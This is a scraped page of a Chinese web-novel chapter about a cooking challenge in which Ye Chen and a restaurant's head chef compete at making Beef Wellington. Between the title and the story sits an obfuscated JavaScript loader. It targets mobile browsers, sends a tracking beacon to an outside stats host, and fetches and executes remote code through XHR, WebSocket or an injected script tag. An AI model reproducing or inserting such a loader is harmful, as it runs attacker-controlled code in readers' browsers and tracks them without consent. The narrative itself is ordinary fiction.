第156章厨师道的精神在于PK!(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
犹豫良久后,厨师带着叶尘进了后厨,也没多言,拿出菜单递给叶尘。
意思很明确,你挑吧,来就来!
叶尘轻笑,看着菜单后直连摇头,随后轻笑起来。
伸手指了指最上方的一道名菜。
惠灵顿牛排。
“就这道吧,食材的话很贵,多少钱的话我原价出,不过你们要是输了,我就当免费送你们了。”
“好!”
经理也是有些无奈,自己家厨师的性子他清楚,死板中的死板,既然答应人家了,这场比试的话一定是要比的。
不过比试的话换一道菜不行嘛!
干嘛弄什么惠灵顿?
牛排界中的王者级佳肴,不说好吃不好吃,单单是在食材的选取上,都要花上不少。
想着叶尘已经答应了,而且这么多顾客都在看戏,他缓缓点着头,满脸为难的样子,随后走到每个桌子前纷纷道着歉。
一会的试吃还要留下不少人,虽然这道牛排的时间要很久,不过对于这些食客来说,能尝到美味,一切都是值得的。
况且是免费的。
其他后厨人员纷纷帮忙取着食材,他们也已经有很久没看到自家的主厨坐这道“地狱级别”菜肴。
现在有了机会,而且过来踢馆的可能是一个隐藏的大神,没人不激动。
叶尘回忆着惠灵顿牛排的做法,有些头大。
他心里也是没底,这玩意毕竟是第一次做,虽然他清楚具体的做法,但是还是很难。
主要就是把控。
这点是这道菜的核心之处,而且最大的卖点就是复杂的做法。
六层的结构,酥皮,面皮,火腿,蘑菇酱,鹅肝,菲力。
每一层的把控都要细微到极致,模仿很简单,但是想要呈现出这道菜的魅力,需要的还是顶级的厨艺理解。
单单是第一步将油脂裹进面团里,一般人真就弄不出来。
裹好的面团还要进行二次处理,压平,数次按压,做成千层。
中途不允许油脂冲破面皮,在把控上,很是困难。
想到这,叶尘有些好奇起来这家店的厨师会有什么方式来处理。
已经发酵好的面团递到叶尘手里,村二便开始忙碌起来。
作为这家店的主厨,他誓死要捍卫这家店在pt市的地位!
拿着铁棒将面团推平后,铺上切好的油脂,全神贯注的按压折叠起来。
一旁的叶尘直连摇头,一看就是没见过世面的!
在华夏美食里,对于这种做法的处理,一般都是十字包裹!
就像是老式的包袱一样,将油脂紧紧包在中间,在进行按压处理。
当然这点对于面和油脂的湿度和温度都是有很大要求的,叶尘拿着油脂放进冷藏里,五分钟后,连忙端了出了,当着村二的面开始弄起来骚操作!
不到一分钟的面团整改,油脂便被铺满,然后包裹,擀成片状,三次对折后,拿着一旁的擀面机器,当着村二的面塞了进去。
一边摇动着机器一边大放厥词。
“加油哦,期待你的表现。”
至于村二,彻底傻眼了,做了这么多年的西餐,其实很多时候,惠灵顿这道菜他都会选用专门定制的面皮,不过今天为了证明自己的能力,选择手工,没想却翻了车。
千层的面皮还能这么做?
颠覆人生中,村二听着耳边不断响起的干巴得!瞬间来了精神。
“走着瞧吧。”
短短两句话,场中便有了些硝烟的味道